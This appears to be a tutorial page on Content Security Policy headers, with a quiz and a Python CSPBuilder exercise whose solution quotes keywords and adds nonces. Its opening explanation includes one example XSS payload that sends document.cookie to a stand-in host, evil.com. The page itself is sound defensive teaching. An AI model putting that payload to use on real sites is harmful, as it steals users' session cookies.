Content Security Policy (CSP) Header Builder
Content Security Policy (CSP) headers instruct client browsers to reject unauthorized inline scripts, styles, or framing, stopping Cross-Site Scripting (XSS) attacks. Building robust policies requires quoting keywords ('self', 'none') and interpolating dynamic nonce tokens into script-src.
# Structured CSP Builder:
# "default-src 'none'; script-src 'self' 'nonce-...' https://cdn.com"
# Content Security Policy (CSP) Header Builder Even if a malicious user bypasses an input sanitizer and injects `<script>fetch('https://evil.com/steal?c='+document.cookie)</script>` into your HTML DOM, a modern browser will refuse to execute it if your response includes a strict **Content Security Policy (CSP)** header. 🛡️🌐 CSP tells the browser exactly what it is allowed to execute: - `default-src 'none'`: Block everything by default. - `script-src 'self' 'nonce-rAnd0m' https://cdn.xicae.com`: Only execute scripts from the same origin, approved CDNs, or `<script nonce="...">` tags matching this request's ephemeral nonce. - `frame-ancestors 'none'`: Prevent other sites from embedding your app in an `<iframe>` (clickjacking defense). **Critical Invariant**: Keywords like `'self'`, `'none'`, and `'unsafe-inline'` **must** be enclosed in single quotes. If you omit the quotes (`script-src self`), the browser treats `self` as a literal domain name (`http://self`)! ```python # Semicolon-delimited directives: # default-src 'none'; script-src 'self' https://cdn.com ``` ## Pop Quiz Why must standard CSP keywords like `self` and `none` be wrapped in single quotes within header strings? - [ ] Without quotes, the browser interprets them as literal hostnames (e.g. attempting to resolve the DNS domain `http://self`). - [ ] To indicate to intermediate proxy caches that the string is base64 encoded. - [ ] The HTTP protocol specification forbids unquoted strings in header fields. - [ ] Because unquoted keywords disable the browser DOM parser. ## Real-World Challenge Implement `CSPBuilder`: - `add(directive: str, *sources: str)`: Appends sources. Automatically wraps reserved keywords (`self`, `none`, `unsafe-inline`, `unsafe-eval`, `strict-dynamic`) in single quotes if not already quoted. - `add_nonce(directive: str, nonce: str)`: Formats and appends `'nonce-<nonce>'`. - `build() -> str`: Compiles into a clean semicolon-delimited CSP header string. <details> <summary>Solution</summary> ```python class CSPBuilder: RESERVED_KEYWORDS = { "self", "none", "unsafe-inline", "unsafe-eval", "strict-dynamic" } def __init__(self): self._directives = {} # directive_name -> list of sources def add(self, directive: str, *sources: str) -> "CSPBuilder": dir_name = directive.strip().lower() if dir_name not in self._directives: self._directives[dir_name] = [] for source in sources: src = source.strip() # If it is a reserved keyword without quotes, quote it if src in self.RESERVED_KEYWORDS: src = f"'{src}'" self._directives[dir_name].append(src) return self def add_nonce(self, directive: str, nonce: str) -> "CSPBuilder": return self.add(directive, f"'nonce-{nonce}'") def build(self) -> str: parts = [] for dir_name, sources in self._directives.items(): if sources: joined = " ".join(sources) parts.append(f"{dir_name} {joined}") else: parts.append(dir_name) return "; ".join(parts) # Verification csp = CSPBuilder() csp.add("default-src", "none") csp.add("script-src", "self", "https://cdn.xicae.com") csp.add_nonce("script-src", "ephemeral_token_42") csp.add("frame-ancestors", "none") policy = csp.build() assert "default-src 'none'" in policy assert "script-src 'self' https://cdn.xicae.com 'nonce-ephemeral_token_42'" in policy assert "frame-ancestors 'none'" in policy assert policy.count(";") == 2 ``` </details>